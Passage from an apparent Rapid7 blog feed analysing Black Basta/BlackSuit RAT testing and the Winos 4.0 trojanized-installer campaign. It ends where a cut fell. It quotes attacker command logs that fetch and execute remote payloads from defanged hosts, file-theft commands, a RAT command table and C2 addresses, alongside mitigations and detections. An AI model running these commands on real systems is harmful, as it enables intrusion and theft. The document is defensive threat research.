asset-alt="blog-chat-logs-8.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2fab79b62628bb27/684c41915a6d974b987d1faa/blog-chat-logs-8.png" data-sys-asset-uid="blt2fab79b62628bb27" data-sys-asset-filename="blog-chat-logs-8.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-chat-logs-8.png" sys-style-type="display"/><em>Figure 22. One of Black Basta’s operators (@tinker) discusses their connection to a member of the BlackSuit ransomware group, with Black Basta’s leader (@usernamegg).</em><p></p><h3>Malware Testing</h3><p>After migrating the Java RAT’s functionality primarily to Google Drive, the threat actor developing the malware also began including the service account they use to test the malware within their own lab environment. The most recent versions of the RAT now also have the command <span data-type='inlineCode'>screen</span> which can download and execute a new Java class in memory. The threat actor first tested this in their own lab before trying it in infected devices that they had gained access to, as seen in the command logs below. Despite the name of the command and the name of the Java class that the test payload has (Screenshot), the payloads have varying functionality, but are generally intended to dynamically add new functionality to the RAT. The first test payload observed loads the Java class Screenshot, which then downloads a shellcode blob via a hard coded URL, and injects it into a new <span data-type='inlineCode'>java.exe</span> process using the WINAPI calls <span data-type='inlineCode'>VirtualAllocEx</span>, <span data-type='inlineCode'>WriteProcessMemory</span>, and <span data-type='inlineCode'>CreateRemoteThread</span>.</p><em></em><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt78a7c69b81333bc1/684c42164d81758611c8eda5/figure-23.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="figure-23.png" asset-alt="figure-23.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt78a7c69b81333bc1/684c42164d81758611c8eda5/figure-23.png" data-sys-asset-uid="blt78a7c69b81333bc1" data-sys-asset-filename="figure-23.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="figure-23.png" sys-style-type="display"/><em>Figure 23. Injection logic implemented by one version of the dynamically loaded Java Screenshot class.</em><p></p><p>The analyzed test shellcode payload would then perform local PE injection for an embedded Rust PE using NTAPI calls, which for the purposes of the test appears to only spawn a confirmation message box. The Rust PE has an original filename of <span data-type='inlineCode'>testapp.exe</span>, a PDB named <span data-type='inlineCode'>testapp.pdb</span>, and was originally compiled on <span data-type='inlineCode'>2025-04-10T15:45:28Z</span>. Notably, the Rust PE did have the Windows Graphics Device Interface (GDI) library and several related function imports as dependencies, which could be used to access or manipulate the screen, but did not appear to be fully implemented yet.</p><em></em><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4b4e78736d444da/684c421632b2811674fcaaf9/figure-24.png" height="187" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="figure-24.png" asset-alt="figure-24.png" inline="true" width="310" max-width="310" max-height="187" style="max-width: 310px; width: 310px; max-height: 187px; height: 187px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4b4e78736d444da/684c421632b2811674fcaaf9/figure-24.png" data-sys-asset-uid="bltc4b4e78736d444da" data-sys-asset-filename="figure-24.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="figure-24.png" sys-style-type="display"/><em>Figure 24. Test message box spawned by the Rust executable `testapp.exe`.</em><p></p><p>The screen command was then successfully used several times in compromised environments, though for different reasons. In one case the operator simply used it as a way to check the external IP address of the infected host. The command log below shows the threat actor testing the <span data-type='inlineCode'>screen</span> command for the first recorded time, using the payload with the embedded Rust PE, within their lab, shortly before starting a new spamming/social engineering attack run (during which they would distribute several copies of the malware).</p><p><span data-type='inlineCode'>Input@2025-04-23T17:12:32.203Z: screen hxxps://tesets[.]live/download/javacode.txt Output@2025-04-23T17-13-02.754Z: start shellcode done</span></p><p>In compromised environments however, the functionality was only observed in use as an external IP checking utility per the following command log.</p><p><span data-type='inlineCode'>Input@2025-05-07T17:36:59.102Z: screen hxxps://andrewjboyd[.]com/file/jc3_old_version.txt Output@2025-05-07T17-37-05.261Z: start shellcode done Input@2025-05-07T17:38:30.923Z: type c:\users\public\info.txt Output@2025-05-07T17-38-40.100Z: &lt;redacted_public_ipv4_address_for_compromised_system&gt;</span></p><em></em><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltfcb410699fdf4d88/684c42164c53c80b77e86eba/figure-25.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="figure-25.png" asset-alt="figure-25.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltfcb410699fdf4d88/684c42164c53c80b77e86eba/figure-25.png" data-sys-asset-uid="bltfcb410699fdf4d88" data-sys-asset-filename="figure-25.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="figure-25.png" sys-style-type="display"/><em>Figure 25. One version of the Java Screenshot class implements functionality to retrieve the infected host’s external IP address and save it to a file named `info.txt`.</em><p></p><p>Rapid7 observed at least one other Rust malware payload, <span data-type='inlineCode'>updater.exe</span> being used by the threat actor, which appeared to be a custom loader for the SSH utility, containing the PDB name <span data-type='inlineCode'>rust_serverless_killer.pdb</span>. As many of the compromises facilitated by the social engineering attacks have resulted in SSH reverse tunnels being established to provide access, the loader is likely an attempt to evade detections targeting SSH commands by obscuring the related metadata. The SSH executable being loaded has the same functionality however, and as a result the command line arguments that must be passed remain the same.</p><p>The threat actor tested a variety of functionality for the Java RAT within their test lab. This includes the zipped python RAT the group would historically upload, decompress and execute (facilitated by the built in <span data-type='inlineCode'>send</span> and <span data-type='inlineCode'>extract</span> commands), or distribute instead of the Java RAT. The python RAT has a similar command menu to that of the Java RAT. The python RAT <a href="https://www.gdatasoftware.com/blog/2025/03/38161-analysis-fin7-anubis-backdoor">has also been previously analyzed by Gdata</a> with similar findings, who refer to it as Anubis (likely based on the source code) and attribute the malware to the FIN7 group.</p><em></em><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt434380b373d40331/684c42165bb3f86677a3b346/figure-26.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="figure-26.png" asset-alt="figure-26.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt434380b373d40331/684c42165bb3f86677a3b346/figure-26.png" data-sys-asset-uid="blt434380b373d40331" data-sys-asset-filename="figure-26.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="figure-26.png" sys-style-type="display"/><em>Figure 26. The python RAT source labels the decrypted payload as “Anubis”.</em><em></em><em></em><p><span data-type='inlineCode'>InputStart@2025-03-28T13:31:01.430Z: checkconfig InputStart@2025-04-01T15:21:49.251Z: recive c:\programdata\video\log.txt InputStart@2025-04-03T17:01:26.653Z: send C:\Users\Public\Libraries\nature.zip extract C:\Users\Public\Libraries\nature.zip\qwerty dir c:\users\ InputStart@2025-03-28T14:01:17.825Z: checkconfig newconfig InputStart@2025-04-01T13:16:18.589Z: send C:\Users\Public\Libraries\nature.zip startsocks5 C:\Users\Public\Libraries\nature\debug.exe C:\Users\Public\Libraries\nature\test.py</span></p><p><br/>Several commands executed in the threat actor’s test lab can be seen above, where the python based payload was delivered via the Java RAT. In several past incidents handled by Rapid7 the name of initial payload archives containing python malware was <span data-type='inlineCode'>Cloud_Email_Switch.zip</span> and the script was named <span data-type='inlineCode'>conf.py</span>, where the script was executed via a copy of <span data-type='inlineCode'>pythonw.exe</span> that had its metadata stripped. The threat actor appears to have now moved to using the Java RAT primarily instead of the python version, although the Java payload retains the functionality to upload, extract, and execute python scripts.</p><table><colgroup data-width='797'><col style="width:31.367628607277293%"/><col style="width:68.63237139272272%"/></colgroup><thead><tr><th><p>Command</p></th><th><p>Function</p></th></tr></thead><tbody><tr><td><p>killexit</p></td><td><p>Immediately terminates the process.</p></td></tr><tr><td><p>ip</p></td><td><p>Creates a UDP socket targeting Google's DNS server (8.8.8[.]8) and connects to it to retrieve the machine’s local IP address.</p></td></tr><tr><td><p>‘cd ‘</p></td><td><p>Change the working directory to one specified by the C2.</p></td></tr><tr><td><p>‘gt ‘</p></td><td><p>Steal a specified file or directory. Reads and sends the content straight to the C2. If the target is a directory, the script will archive it into a zip file first.</p></td></tr><tr><td><p>‘up ‘</p></td><td><p>Upload a file sent by the C2, to the infected host, to a specified file path.</p></td></tr><tr><td><p>env</p></td><td><p>If the C2 specifies a 'list' command, the RAT returns all the existing environmental variables. Otherwise returns a specific variable chosen by the C2.</p></td></tr><tr><td><p>!cf!</p></td><td><p>Create/update a key (named via hard coded string) in the user’s registry using configuration data sent by the C2. Allows for the malware’s configuration to be dynamically updated.</p></td></tr><tr><td><p>!tcf!</p></td><td><p>Test C2 addresses supplied by the current C2 in a new config, by creating a TCP socket to attempt to connect to the new address(es) supplied. Returns the result to current C2. Doesn’t update the config.</p></td></tr><tr><td><p>default</p></td><td><p>If one of the above commands is not present, create a child console process (cmd.exe) to execute the contents received from the C2 and return stdout.</p></td></tr></tbody></table><p>Table 2. Command key for the python RAT.</p><p>Among the output of the commands the threat actor ran in their test lab, we can also see a listing of their Downloads directory. The output shows that they have likely been developing Rust malware since at least <span data-type='inlineCode'>2024-09-21</span>. The test lab is most likely also the environment in which they compiled <span data-type='inlineCode'>testapp.exe</span> as Rust executables contain cargo references which include the user’s name, for example: <span data-type='inlineCode'>C:\Users\User\.cargo\registry\src\&lt;truncated&gt;</span>. In contrast, <span data-type='inlineCode'>updater.exe</span>, the Rust SSH loader previously mentioned, references the user <span data-type='inlineCode'>lucak</span>.</p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd7562ba5aa3bcf55/684c4216973009ed1e6c3d06/figure-27.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="figure-27.png" asset-alt="figure-27.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd7562ba5aa3bcf55/684c4216973009ed1e6c3d06/figure-27.png" data-sys-asset-uid="bltd7562ba5aa3bcf55" data-sys-asset-filename="figure-27.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="figure-27.png" sys-style-type="display"/><em>Figure 27. A listing of the Downloads directory on an asset within the malware developer’s test lab.</em><p></p><p>Finally, while setting up the testing environment, the threat actor made changes to several Google Drive files from what appears to be a personal Gmail account: <span data-type='inlineCode'>palomo************[@]gmail[.]com</span>. These changes were visible as numerous versions of the Java RAT were distributed with the threat actor’s test lab Google Drive service account credentials included.</p><h2>Mitigation Guidance</h2><p>Rapid7 recommends taking the following precautions to limit exposure to these types of attacks:</p><p>Restrict the ability for external users to contact users via Microsoft Teams to the greatest extent possible. This can be done for example by blocking all external domains or creating a white/black list. Microsoft Teams will allow all external requests by default. For more information, see this reference.<br/>Standardize remote management tools within the environment. For unapproved tools, block known hashes and domains to prevent usage. Hash blocking can be done, for example, via Windows AppLocker or an endpoint protection solution.<br/>Provide user awareness training regarding the social engineering campaign. Familiarize users with official help desk and support procedures to enable them to spot and report suspicious requests.<br/>Standardize VPN access. Traffic from known low cost VPN solutions should be blocked at a firewall level if there is no business use case.<br/>Require Multi-Factor Authentication (MFA) across the environment. Single factor authentication facilitates a large number of compromises. For example, If an attacker steals a user’s credentials and acquires the network’s VPN configuration, no MFA on the VPN allows them to easily access the environment.<br/>Regularly update software and firmware. Ransomware groups like Black Basta are known to purchase exploits for initial access.</p><h2>Rapid7 Customers</h2><p>InsightIDR, Managed Detection and Response, and Managed Threat Complete customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to this activity:</p><table><thead><tr><th><p>Detections</p></th></tr></thead><tbody><tr><td><p>Suspicious Chat Request - Potential Social Engineering Attempt</p></td></tr><tr><td><p>Initial Access - Potential Social Engineering Session Initiated Following Chat Request</p></td></tr><tr><td><p>Attacker Technique - Base64 String Added to HKCU Registry Key</p></td></tr><tr><td><p>Suspicious Process - LNK Executes PowerShell via JAR</p></td></tr><tr><td><p>Suspicious Process - QEMU Loads Disk From Staging Directory</p></td></tr><tr><td><p>Credential Access - Steal or Forge Kerberos tickets</p></td></tr><tr><td><p>Anomaly Detection - Failed AS-REP Roasting Attack</p></td></tr><tr><td><p>Non-Approved Application - Remote Management and Monitoring (RMM) Tools</p></td></tr></tbody></table><h2>MITRE ATT&CK Techniques</h2><table><thead><tr><th><p>Tactic</p></th><th><p>Technique</p></th><th><p>Procedure</p></th></tr></thead><tbody><tr><td><p>Reconnaissance</p></td><td><a href="https://attack.mitre.org/techniques/T1591/">T1591: Gather Victim Org Information</a></td><td><p>Operators utilize publicly available information to identify target contact details and financial information.</p></td></tr><tr><td><p>Resource Development</p></td><td><a href="https://attack.mitre.org/techniques/T1587/001/">T1587.001: Develop Capabilities: Malware</a></td><td><p>The threat actors are actively developing new malware to distribute.</p></td></tr><tr><td><p>Impact</p></td><td><a href="https://attack.mitre.org/techniques/T1498/">T1498: Network Denial of Service</a></td><td><p>The threat actors overwhelm email protection solutions with spam.</p></td></tr><tr><td><p>Impact</p></td><td><a href="https://attack.mitre.org/techniques/T1486/">T1486: Data Encrypted for Impact</a></td><td><p>The threat actors historically either deploy ransomware after compromising a network, or sell the access to a ransomware group.</p></td></tr><tr><td><p>Initial Access</p></td><td><a href="https://attack.mitre.org/techniques/T1566/004/">T1566.004: Phishing: Spearphishing Voice</a></td><td><p>The threat actors call impacted users and pretend to be a member of the target organization’s IT team to gain remote access.</p></td></tr><tr><td><p>Defense Evasion</p></td><td><a href="https://attack.mitre.org/techniques/T1140/">T1140: Deobfuscate/Decode Files or Information</a></td><td><p>The threat actors decrypt some zip archive payloads with a password, onto infected hosts.</p></td></tr><tr><td><p>Defense Evasion</p></td><td><a href="https://attack.mitre.org/techniques/T1055/002/">T1055.002: Process Injection: Portable Executable Injection</a></td><td><p>Some payloads executed by the threat actors utilize local PE injection.</p></td></tr><tr><td><p>Defense Evasion</p></td><td><a href="https://attack.mitre.org/techniques/T1620/">T1620: Reflective Code Loading</a></td><td><p>Some payloads executed by the threat actors load and execute shellcode.</p></td></tr><tr><td><p>Credential Access</p></td><td><a href="https://attack.mitre.org/techniques/T1649/">T1649: Steal or Forge Authentication Certificates</a></td><td><p>The threat actors have abused ADCS services to acquire certificates.</p></td></tr><tr><td><p>Credential Access</p></td><td><a href="https://attack.mitre.org/techniques/T1056/001/">T1056.001: Input Capture: Keylogging</a></td><td><p>The threat actors run an executable that can harvest the user’s credentials.</p></td></tr><tr><td><p>Credential Access</p></td><td><a href="https://attack.mitre.org/techniques/T1558/003/">T1558.003: Steal or Forge Kerberos Tickets: Kerberoasting</a></td><td><p>The threat actors have performed Kerberoasting after gaining initial access.</p></td></tr><tr><td><p>Credential Access</p></td><td><a href="https://attack.mitre.org/techniques/T1558/004/">T1558.004: Steal or Forge Kerberos Tickets: AS-REP Roasting</a></td><td><p>The threat actors have performed AS-REP roasting attacks after gaining initial access.</p></td></tr><tr><td><p>Discovery</p></td><td><a href="https://attack.mitre.org/techniques/T1033/">T1033: System Owner/User Discovery</a></td><td><p>The threat actors enumerate asset and user information within the environment after gaining access.</p></td></tr><tr><td><p>Command and Control</p></td><td><a href="https://attack.mitre.org/techniques/T1572/">T1572: Protocol Tunneling</a></td><td><p>The threat actors use SSH reverse tunnels to provide/proxy remote access.</p></td></tr><tr><td><p>Command and Control</p></td><td><a href="https://attack.mitre.org/techniques/T1219/">T1219: Remote Access Software</a></td><td><p>The threat actors have used QuickAssist, AnyDesk, ScreenConnect, TeamViewer, Level, and more, to facilitate remote access.</p></td></tr></tbody></table><h2>Indicators of Compromise</h2><p>All indicators of compromise are <a href="https://github.com/rapid7/Rapid7-Labs/blob/main/IOCs/blacksuit_socialengineering/2025-06-10_iocs.txt">available at the Rapid7 GitHub repository</a>.</p>]]></description>
      <link>https://www.rapid7.com/blog/post/2025/06/10/blacksuit-continues-social-engineering-attacks-in-wake-of-black-bastas-internal-conflict</link>
      <guid isPermaLink="false">bltc10ce8e9a011b3e9</guid>
      <category><![CDATA[Incident Response]]></category>
      <category><![CDATA[Managed Detection and Response (MDR)]]></category>
      <category><![CDATA[Ransomware]]></category>
      <category><![CDATA[Malware]]></category><dc:creator><![CDATA[Tyler McGraw]]></dc:creator>
      <pubDate>Tue, 10 Jun 2025 00:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[NSIS Abuse and sRDI Shellcode: Anatomy of the Winos 4.0 Campaign]]></title>
      <description><![CDATA[<p></p><h2>Executive summary</h2><p>Rapid7 has been tracking a malware campaign that uses fake software installers disguised as popular apps like VPN and QQBrowser—to deliver Winos v4.0, a hard-to-detect malware that runs entirely in memory and gives attackers remote access.</p><p>The campaign was first spotted during a February 2025 MDR investigation. Since then, we’ve seen more samples using the same infection method—a multi-layered setup we call the <strong>Catena loader</strong>. Catena uses embedded shellcode and configuration switching logic to stage payloads like Winos v4.0 entirely in memory, evading traditional antivirus tools.</p><p>Once installed, it quietly connects to attacker-controlled servers—mostly hosted in Hong Kong—to receive follow-up instructions or additional malware. While we’ve seen no signs of widespread targeting, the operation appears focused on Chinese-speaking environments and shows signs of careful, long-term planning by a capable threat group.</p><p>Rapid7 has deployed detections for this activity and continues to monitor for new variants. Indicators and analysis related to this campaign are available in <a href="https://www.rapid7.com/platform/threat-intelligence-tip/">Rapid7 Intelligence Hub</a>.</p><h2>Introduction</h2><p>This blog covers a malware campaign tracked by Rapid7 that uses trojanized NSIS installers to deploy Winos v4.0, a stealthy, memory-resident stager. The first sample was flagged during a February 2025 MDR investigation. Following that case, we identified additional related samples through threat hunting and malware analysis.</p><p>All observed samples relied on NSIS installers bundled with signed decoy apps, shellcode embedded in <strong>`.ini`</strong> files, and reflective DLL injection to quietly maintain persistence and avoid detection. We refer to this full infection chain as Catena, due to its modular, chain-like structure.</p><p>The campaign has so far been active throughout 2025, showing a consistent infection chain with some tactical adjustments—pointing to a capable and adaptive threat actor.</p><p>In this report, we start with a brief recap of the February 2025 MDR incident, which was also covered by other researchers. We then focus on newer samples found later in 2025 that follow the same core infection chain but introduce changes in delivery, tooling, and evasion—highlighting how the campaign continues to evolve.</p><h2>How it started: QQBrowser Installer in MDR Case</h2><p>In February 2025, <a href="https://www.rapid7.com/services/managed-detection-and-response-mdr/">Rapid7’s MDR</a> team detected suspicious activity on a customer asset involving a trojanized NSIS installer masquerading as QQBrowser installer `<strong>QQBrowser_Setup_x64.exe`</strong>. While the file initially appeared legitimate, further analysis revealed it delivered malware via a multi-stage, memory-resident loader chain. Upon execution, the installer created an Axialis directory under <em>%APPDATA%</em> and dropped several files:</p><ul><li>`<strong>Axialis.vbs</strong>` – a VBScript launcher</li><li>`<strong>Axialis.ps1</strong>` – a PowerShell-based loader<br/>`<strong>Axialis.dll</strong>` – a malicious DLL</li><li>`<strong>Config.ini</strong>` and `<strong>Config2.ini</strong>` – binary configuration files containing shellcode and embedded payloads</li><li>A desktop shortcut and the original QQBrowser setup binary used for deception</li></ul><p>Upon execution, the malware follows this chain shown below.</p><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd94ee402e924ac90/684833622fcbad3202663460/blog-nsis-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-nsis-1.png" asset-alt="blog-nsis-1.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd94ee402e924ac90/684833622fcbad3202663460/blog-nsis-1.png" data-sys-asset-uid="bltd94ee402e924ac90" data-sys-asset-filename="blog-nsis-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-nsis-1.png" sys-style-type="display"/></p><p>Figure 1: QQBrowser-Based Infection Flow Observed in MDR Case</p><p>During runtime analysis, the `<strong>Axialis.dll</strong>` loader creates the mutex `<strong>VJANCAVESU</strong>` via the `<strong>CreateMutexA</strong>` API. If the mutex exists, it loads `<strong>Config2.ini</strong>`; if not, it loads `<strong>Config.ini</strong>`.</p><p>This behavior has been described by other researchers, who observed similar configuration switching logic in the DeepSeek <a href="https://www.secrss.com/articles/76004">campaigns</a> — where the selected payload depended on the infection state. Both <strong>`.ini`</strong> files contain shellcode and embedded payload DLLs, all loaded and executed reflectively in memory.</p><p>Rapid7 analysis confirmed that the shellcode in `<strong>Config.ini</strong>` was built using the open-source <a href="https://github.com/monoxgas/sRDI">sRDI</a> loader.</p><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc07de4db2440e5c6/68483396209a6af63afcea2f/blog-nsis-2.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-nsis-2.png" asset-alt="blog-nsis-2.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc07de4db2440e5c6/68483396209a6af63afcea2f/blog-nsis-2.png" data-sys-asset-uid="bltc07de4db2440e5c6" data-sys-asset-filename="blog-nsis-2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-nsis-2.png" sys-style-type="display"/></p>Figure 2: Side-by-side comparison of shellcode from GitHub (left) and shellcode found in Config.ini (right)<p></p><p>The malware communicates with hardcoded command-and-control (C2) infrastructure over TCP port 18856 and HTTPS port 443.</p><p>Persistence is achieved through a combination of process monitoring and scheduled task registration. The embedded DLL in `<strong>Config.ini</strong>` created and executed  `<strong>Monitor.bat</strong>`, which continuously checked for malware processes and relaunched them if terminated.  ​​To ensure persistence, the malware dropped `<strong>updated.ps1</strong>` and `<strong>PolicyManagement.xml</strong>`, which are used to register a scheduled task that re-executes the VBS loader `<strong>Decision.vbs</strong>` via `<strong>wscript.exe</strong>`.</p><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt86d38af055d019c5/684833c624f13b22c2d59e1f/blog-nsis-3.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-nsis-3.png" asset-alt="blog-nsis-3.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt86d38af055d019c5/684833c624f13b22c2d59e1f/blog-nsis-3.png" data-sys-asset-uid="blt86d38af055d019c5" data-sys-asset-filename="blog-nsis-3.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-nsis-3.png" sys-style-type="display"/></p><p>Figure 3: Scheduled Task Triggering VBS Loader Decision.vbs</p><p>The scheduled task executed weeks after initial compromise, suggesting long-term persistence. Interestingly, the malware includes a language check that looks for Chinese language settings on the host system. But even if the system isn’t using Chinese, the malware still executes. This suggests the check isn’t actually enforced—it could be a placeholder, an unfinished feature, or something the attackers plan to use in future versions. Either way, its presence hints at an intent to focus on Chinese-language environments, even if that logic isn’t fully implemented yet.</p><p>While infrastructure details (e.g., C2 IPs) varied, for example in our case involving 156.251.17.243[:]18852 and the reference blog <a href="https://www.secrss.com/articles/76004">citing</a>  27.124.40.155[:]18852 — both campaigns used similar communication ports (18852 and 443), suggesting that the activity belongs to the same threat actor.</p><h3>Campaign evolution</h3><p>Following the initial discovery, Rapid7 continued tracking the campaign throughout early 2025. During this period, multiple incidents were observed reusing the same infection chain—abusing trojanized NSIS installers, reflective DLL loading, shellcode-embedded INI files, and staged persistence mechanisms. These variants were often disguised as legitimate software such as LetsVPN, Telegram, or Chrome installers.</p><p>However, in April 2025, we observed a tactical shift. Threat actors began modifying their approach: for instance, staging scripts like `<strong>Axialis.ps1</strong>` were dropped entirely, DLLs were invoked directly using `<strong>regsvr32.exe</strong>`, and new samples showed more efforts to evade antivirus detection. These changes suggest an evolving playbook—one that retains core infrastructure and execution logic but adapts to detection pressure and operational constraints.</p><h2>Evolving tactics: LetsVPN Installer leading to Winos v4.0</h2><p>The diagram below illustrates the Catena execution chain as observed in the LetsVPN variant.</p><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd58de36613eda922/6848351d7431dae0dd41adb7/blog-nsis-4.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-nsis-4.png" asset-alt="blog-nsis-4.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd58de36613eda922/6848351d7431dae0dd41adb7/blog-nsis-4.png" data-sys-asset-uid="bltd58de36613eda922" data-sys-asset-filename="blog-nsis-4.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-nsis-4.png" sys-style-type="display"/></p>Figure 4 Catena Loader: From LetsVPN Installer to Winos v4.0<p></p><p>The following sections break down this chain, stage by stage—from the initial installer and script logic to in-memory payload delivery and infrastructure interaction.</p><p>Our analysis started with `<strong>Lets.15.0.exe</strong>` SHA-256: 1E57AC6AD9A20CFAB1FE8EDD03107E7B63AB45CA555BA6CE68F143568884B003, a trojanized NSIS installer masquerading as a VPN setup. The installer included a decoy executable `<strong>Iatsvpn</strong>-<strong>Latest.exe</strong>` and a license file to appear legitimate. However, its true purpose was to deploy multi-stage, memory-resident malware across several directories.</p><p>Upon execution, the installer stages components in:</p><ul><li><em>%LOCALAPPDATA%</em>: first-stage loader `<strong>insttect.exe</strong>` and shellcode blob `<strong>Single.ini</strong>`</li><li><em>%APPDATA%\TrustAsia</em>: second-stage payloads `<strong>Config.ini</strong>`, `<strong>Config2.ini</strong>` and loader DLL `<strong>intel.dll</strong>`</li></ul><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt765a4b4e3d69c902/68483550dc186d94c5080f6e/blog-nsis-5.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-nsis-5.png" asset-alt="blog-nsis-5.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt765a4b4e3d69c902/68483550dc186d94c5080f6e/blog-nsis-5.png" data-sys-asset-uid="blt765a4b4e3d69c902" data-sys-asset-filename="blog-nsis-5.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-nsis-5.png" sys-style-type="display"/></p>Figure 5: The extracted file structure by Lets.15.0.exeFigure 5: The extracted file structure by Lets.15.0.exe<p></p><p>The following sections walk through each step of this chain, starting with the NSIS installer and leading to in-memory payload execution.</p><h3>Installer setup: NSIS script behavior</h3><p>The `<strong>NSIS.nsi</strong>` script embedded in `<strong>Lets.15.0.exe</strong>` sets up both the fake VPN installation and the deployment of malware. It acts as the first step in the execution chain. The script starts by running a PowerShell command that adds Defender exclusions for all drives <em>(C:\ to Z:)</em>, reducing system defenses.</p><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt02227ce8c8a3b88a/68483611761bfd18d98e9dbe/blog-nsis-6.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-nsis-6.png" asset-alt="blog-nsis-6.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt02227ce8c8a3b88a/68483611761bfd18d98e9dbe/blog-nsis-6.png" data-sys-asset-uid="blt02227ce8c8a3b88a" data-sys-asset-filename="blog-nsis-6.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-nsis-6.png" sys-style-type="display"/></p><p></p><h3>First-stage payloads</h3><p>The NSIS script begins by dropping initial payloads to <em>%LOCALAPPDATA%</em>:</p><ul><li>`<strong>Single.ini</strong>`: a binary blob combining sRDI shellcode and an embedded DLL</li><li>`<strong>insttect.exe</strong>`: loader that reads and executes `<strong>Single.ini</strong>` in memory</li></ul><h3>Second-stage payloads</h3><p>Next, the script drops second-stage files to <em>%APPDATA%\TrustAsia</em>:</p><ul><li>`<strong>Config.ini</strong>`, `<strong>Config2.ini</strong>`: alternate sRDI payloads loaded later based on mutex logic</li><li>`<strong>intel.dll</strong>`:  a secondary loader invoked via <strong>regsvr32.exe</strong></li></ul><p>To trigger this second stage, the NSIS script executes:</p><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt539681f8ee5d891e/68483658fcc17b97c7fd2b9f/blog-nsis-7.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-nsis-7.png" asset-alt="blog-nsis-7.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt539681f8ee5d891e/68483658fcc17b97c7fd2b9f/blog-nsis-7.png" data-sys-asset-uid="blt539681f8ee5d891e" data-sys-asset-filename="blog-nsis-7.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-nsis-7.png" sys-style-type="display"/></p><p>As seen in the February 2025 MDR incident, the NSIS script completes the decoy setup by dropping `<strong>IatsvpnLatest.exe</strong>`ba0fd15483437a036e7f9dc91a65caa6e9b9494ed3793710257c450a30b88b8a and creating a desktop shortcut pointing to it. Despite the filename containing a typo, the binary is a legitimate LetsVPN executable, signed with a valid digital certificate.</p><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2248cdef1d4e5213/6848367cdd621002ceeb8e0a/blog-nsis-8.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="blog-nsis-8.png" asset-alt="blog-nsis-8.png" inline="true" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2248cdef1d4e5213/6848367cdd621002ceeb8e0a/blog-nsis-8.png" data-sys-asset-uid="blt2248cdef1d4e5213" data-sys-asset-filename="blog-nsis-8.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="blog-nsis-8.png" sys-style-type="display"/></p>Figure 6: Malicious NSIS script<p></p><p>The following sections outline the role of each dropped binary in the execution chain.</p><h3><strong>Stage 1: Execution of insttect.exe and Single.ini file</strong></h3><p>We analyzed<strong> `insttect.exe`,</strong> a trojanized loader masquerading as a 